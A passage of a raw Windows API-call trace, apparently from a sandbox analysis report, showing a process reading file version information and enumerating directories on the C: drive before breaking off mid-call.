VerQueryValueW (in: pBlock=0x222a968, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x1ba3e948, puLen=0x1ba3e940 | out: lplpBuffer=0x1ba3e948*=0x0, puLen=0x1ba3e940) returned 0 [0161.887] VerQueryValueW (in: pBlock=0x222a968, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x1ba3e948, puLen=0x1ba3e940 | out: lplpBuffer=0x1ba3e948*=0x222aa98, puLen=0x1ba3e940) returned 1 [0161.888] VerQueryValueW (in: pBlock=0x222a968, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x1ba3e948, puLen=0x1ba3e940 | out: lplpBuffer=0x1ba3e948*=0x222aad4, puLen=0x1ba3e940) returned 1 [0161.888] VerQueryValueW (in: pBlock=0x222a968, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x1ba3e948, puLen=0x1ba3e940 | out: lplpBuffer=0x1ba3e948*=0x222ab04, puLen=0x1ba3e940) returned 1 [0161.888] VerQueryValueW (in: pBlock=0x222a968, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x1ba3e948, puLen=0x1ba3e940 | out: lplpBuffer=0x1ba3e948*=0x222ab48, puLen=0x1ba3e940) returned 1 [0161.888] VerQueryValueW (in: pBlock=0x222a968, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x1ba3e948, puLen=0x1ba3e940 | out: lplpBuffer=0x1ba3e948*=0x222ab94, puLen=0x1ba3e940) returned 1 [0161.888] VerQueryValueW (in: pBlock=0x222a968, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x1ba3e948, puLen=0x1ba3e940 | out: lplpBuffer=0x1ba3e948*=0x222abd4, puLen=0x1ba3e940) returned 1 [0161.888] VerQueryValueW (in: pBlock=0x222a968, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x1ba3e948, puLen=0x1ba3e940 | out: lplpBuffer=0x1ba3e948*=0x222ac0c, puLen=0x1ba3e940) returned 1 [0161.888] VerQueryValueW (in: pBlock=0x222a968, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x1ba3e948, puLen=0x1ba3e940 | out: lplpBuffer=0x1ba3e948*=0x222aa5c, puLen=0x1ba3e940) returned 1 [0161.888] VerQueryValueW (in: pBlock=0x222a968, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x1ba3e948, puLen=0x1ba3e940 | out: lplpBuffer=0x1ba3e948*=0x0, puLen=0x1ba3e940) returned 0 [0161.888] VerQueryValueW (in: pBlock=0x222a968, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x1ba3e948, puLen=0x1ba3e940 | out: lplpBuffer=0x1ba3e948*=0x0, puLen=0x1ba3e940) returned 0 [0161.888] VerQueryValueW (in: pBlock=0x222a968, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x1ba3e948, puLen=0x1ba3e940 | out: lplpBuffer=0x1ba3e948*=0x0, puLen=0x1ba3e940) returned 0 [0161.888] VerQueryValueW (in: pBlock=0x222a968, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1ba3e8f8, puLen=0x1ba3e8f0 | out: lplpBuffer=0x1ba3e8f8*=0x222aa04, puLen=0x1ba3e8f0) returned 1 [0161.888] VerLanguageNameW (in: wLang=0x0, szLang=0x1ba3e620, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0161.890] VerQueryValueW (in: pBlock=0x222a968, lpSubBlock="\\", lplpBuffer=0x1ba3e948, puLen=0x1ba3e940 | out: lplpBuffer=0x1ba3e948*=0x222a990, puLen=0x1ba3e940) returned 1 [0161.926] GetWindowThreadProcessId (in: hWnd=0x5015e, lpdwProcessId=0x1ba3ea70 | out: lpdwProcessId=0x1ba3ea70) returned 0x79c [0161.927] GetCurrentThreadId () returned 0x484 [0161.927] RegisterClipboardFormatW (lpszFormat="WindowsForms12_ThreadCallbackMessage") returned 0xc169 [0161.928] PostMessageW (hWnd=0x5015e, Msg=0xc169, wParam=0x0, lParam=0x0) returned 1 [0161.929] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x2c8 [0161.930] GetWindowThreadProcessId (in: hWnd=0x5015e, lpdwProcessId=0x1ba3e8d0 | out: lpdwProcessId=0x1ba3e8d0) returned 0x79c [0161.934] GetExitCodeThread (in: hThread=0x220, lpExitCode=0x1ba3e960 | out: lpExitCode=0x1ba3e960) returned 1 [0164.520] GetExitCodeThread (in: hThread=0x220, lpExitCode=0x1ba3e960 | out: lpExitCode=0x1ba3e960) returned 1 [0164.521] CoGetContextToken (in: pToken=0x1ba3e430 | out: pToken=0x1ba3e430) returned 0x0 [0164.521] CObjectContext::QueryInterface () returned 0x0 [0164.521] CObjectContext::GetCurrentThreadType () returned 0x0 [0164.521] Release () returned 0x0 [0165.651] GetExitCodeThread (in: hThread=0x220, lpExitCode=0x1ba3e960 | out: lpExitCode=0x1ba3e960) returned 1 [0165.651] CoGetContextToken (in: pToken=0x1ba3e430 | out: pToken=0x1ba3e430) returned 0x0 [0165.651] CObjectContext::QueryInterface () returned 0x0 [0165.651] CObjectContext::GetCurrentThreadType () returned 0x0 [0165.651] Release () returned 0x0 Thread: id = 15 os_tid = 0x798 Thread: id = 16 os_tid = 0x7a4 Thread: id = 17 os_tid = 0x40c Thread: id = 18 os_tid = 0x7e0 Thread: id = 19 os_tid = 0x648 Thread: id = 20 os_tid = 0x7ac Thread: id = 21 os_tid = 0x544 Thread: id = 24 os_tid = 0x7bc [0079.869] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0079.968] GetLogicalDrives () returned 0x4 [0079.969] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x1ca2e540, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0079.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb60) returned 1 [0079.970] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec40 | out: lpFileInformation=0x1ca2ec40*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xe0adbcc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe0adbcc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0079.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eb20) returned 1 [0079.973] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0079.973] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0080.044] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2ea80) returned 1 [0080.045] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ca2e570, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0080.046] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ca2e510, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0080.048] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x1ca2e720 | out: lpFindFileData=0x1ca2e720*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1a578c00 [0080.077] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin", lpFilePart=0x0) returned 0xf [0080.078] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin", lpFilePart=0x0) returned 0xf [0080.078] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin", lpFilePart=0x0) returned 0xf [0080.078] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1ca2e800 | out: lpFindFileData=0x1ca2e800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0080.079] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot", lpFilePart=0x0) returned 0x7 [0080.079] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot", lpFilePart=0x0) returned 0x7 [0080.079] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot", lpFilePart=0x0) returned 0x7 [0080.079] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot", lpFilePart=0x0) returned 0x7 [0080.079] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot", lpFilePart=0x0) returned 0x7 [0080.079] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot", lpFilePart=0x0) returned 0x7 [0080.080] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1ca2e800 | out: lpFindFileData=0x1ca2e800*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0080.080] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1ca2e800 | out: lpFindFileData=0x1ca2e800*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0080.080] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1ca2e800 | out: lpFindFileData=0x1ca2e800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0080.080] GetFullPathNameW (in: lpFileName="C:\\Config.Msi", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi", lpFilePart=0x0) returned 0xd [0080.080] GetFullPathNameW (in: lpFileName="C:\\Config.Msi", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi", lpFilePart=0x0) returned 0xd [0080.080] GetFullPathNameW (in: lpFileName="C:\\Config.Msi", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi", lpFilePart=0x0) returned 0xd [0080.080] GetFullPathNameW (in: lpFileName="C:\\Config.Msi", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi", lpFilePart=0x0) returned 0xd [0080.080] GetFullPathNameW (in: lpFileName="C:\\Config.Msi", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi", lpFilePart=0x0) returned 0xd [0080.081] GetFullPathNameW (in: lpFileName="C:\\Config.Msi", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi", lpFilePart=0x0) returned 0xd [0080.081] GetFullPathNameW (in: lpFileName="C:\\Config.Msi", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi", lpFilePart=0x0) returned 0xd [0080.081] GetFullPathNameW (in: lpFileName="C:\\Config.Msi", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi", lpFilePart=0x0) returned 0xd [0080.081] GetFullPathNameW (in: lpFileName="C:\\Config.Msi", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi", lpFilePart=0x0) returned 0xd [0080.081] GetFullPathNameW (in: lpFileName="C:\\Config.Msi", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi", lpFilePart=0x0) returned 0xd [0080.081] GetFullPathNameW (in: lpFileName="C:\\Config.Msi", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi", lpFilePart=0x0) returned 0xd [0080.081] GetFullPathNameW (in: lpFileName="C:\\Config.Msi", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi", lpFilePart=0x0) returned 0xd [0080.081] GetFullPathNameW (in: lpFileName="C:\\Config.Msi", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi", lpFilePart=0x0) returned 0xd [0080.081] GetFullPathNameW (in: lpFileName="C:\\Config.Msi", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi", lpFilePart=0x0) returned 0xd [0080.081] GetFullPathNameW (in: lpFileName="C:\\Config.Msi", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi", lpFilePart=0x0) returned 0xd [0080.081] GetFullPathNameW (in: lpFileName="C:\\Config.Msi", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi", lpFilePart=0x0) returned 0xd [0080.081] GetFullPathNameW (in: lpFileName="C:\\Config.Msi", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi", lpFilePart=0x0) returned 0xd [0080.081] GetFullPathNameW (in: lpFileName="C:\\Config.Msi", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi", lpFilePart=0x0) returned 0xd [0080.081] GetFullPathNameW (in: lpFileName="C:\\Config.Msi", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi", lpFilePart=0x0) returned 0xd [0080.081] GetFullPathNameW (in: lpFileName="C:\\Config.Msi", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi", lpFilePart=0x0) returned 0xd [0080.081] GetFullPathNameW (in: lpFileName="C:\\Config.Msi", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi", lpFilePart=0x0) returned 0xd [0080.081] GetFullPathNameW (in: lpFileName="C:\\Config.Msi", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi", lpFilePart=0x0) returned 0xd [0080.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2ea20) returned 1 [0080.084] GetFullPathNameW (in: lpFileName="C:\\Config.Msi", nBufferLength=0x105, lpBuffer=0x1ca2e510, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi", lpFilePart=0x0) returned 0xd [0080.085] GetFullPathNameW (in: lpFileName="C:\\Config.Msi\\", nBufferLength=0x105, lpBuffer=0x1ca2e4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi\\", lpFilePart=0x0) returned 0xe [0080.085] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x1ca2e6c0 | out: lpFindFileData=0x1ca2e6c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578ba0 [0080.086] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1ca2e7a0 | out: lpFindFileData=0x1ca2e7a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.086] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1ca2e7a0 | out: lpFindFileData=0x1ca2e7a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0080.086] FindClose (in: hFindFile=0x1a578ba0 | out: hFindFile=0x1a578ba0) returned 1 [0080.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2ea00) returned 1 [0080.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e9f0) returned 1 [0080.087] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1ca2e800 | out: lpFindFileData=0x1ca2e800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0080.087] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0080.087] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0080.087] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0080.087] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0080.087] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0080.087] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0080.087] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0080.087] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0080.087] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0080.087] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0080.087] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0080.088] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0080.088] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0080.088] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0080.088] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0080.088] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0080.088] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0080.088] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0080.123] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0080.123] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0080.124] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0080.124] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0080.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2ea20) returned 1 [0080.124] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x1ca2e510, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0080.124] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings\\", nBufferLength=0x105, lpBuffer=0x1ca2e4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings\\", lpFilePart=0x0) returned 0x1a [0080.124] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x1ca2e6c0 | out: lpFindFileData=0x1ca2e6c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0080.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0080.138] EtwEventRegister (in: ProviderId=0x221b7c0, EnableCallback=0x1a78157c, CallbackContext=0x0, RegHandle=0x221b7a0 | out: RegHandle=0x221b7a0) returned 0x0 [0080.183] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0080.188] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1ca2e800 | out: lpFindFileData=0x1ca2e800*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xae99ef60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0080.188] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1ca2e800 | out: lpFindFileData=0x1ca2e800*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0080.188] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0080.188] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0080.188] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0080.188] GetFullPathNameW (in: 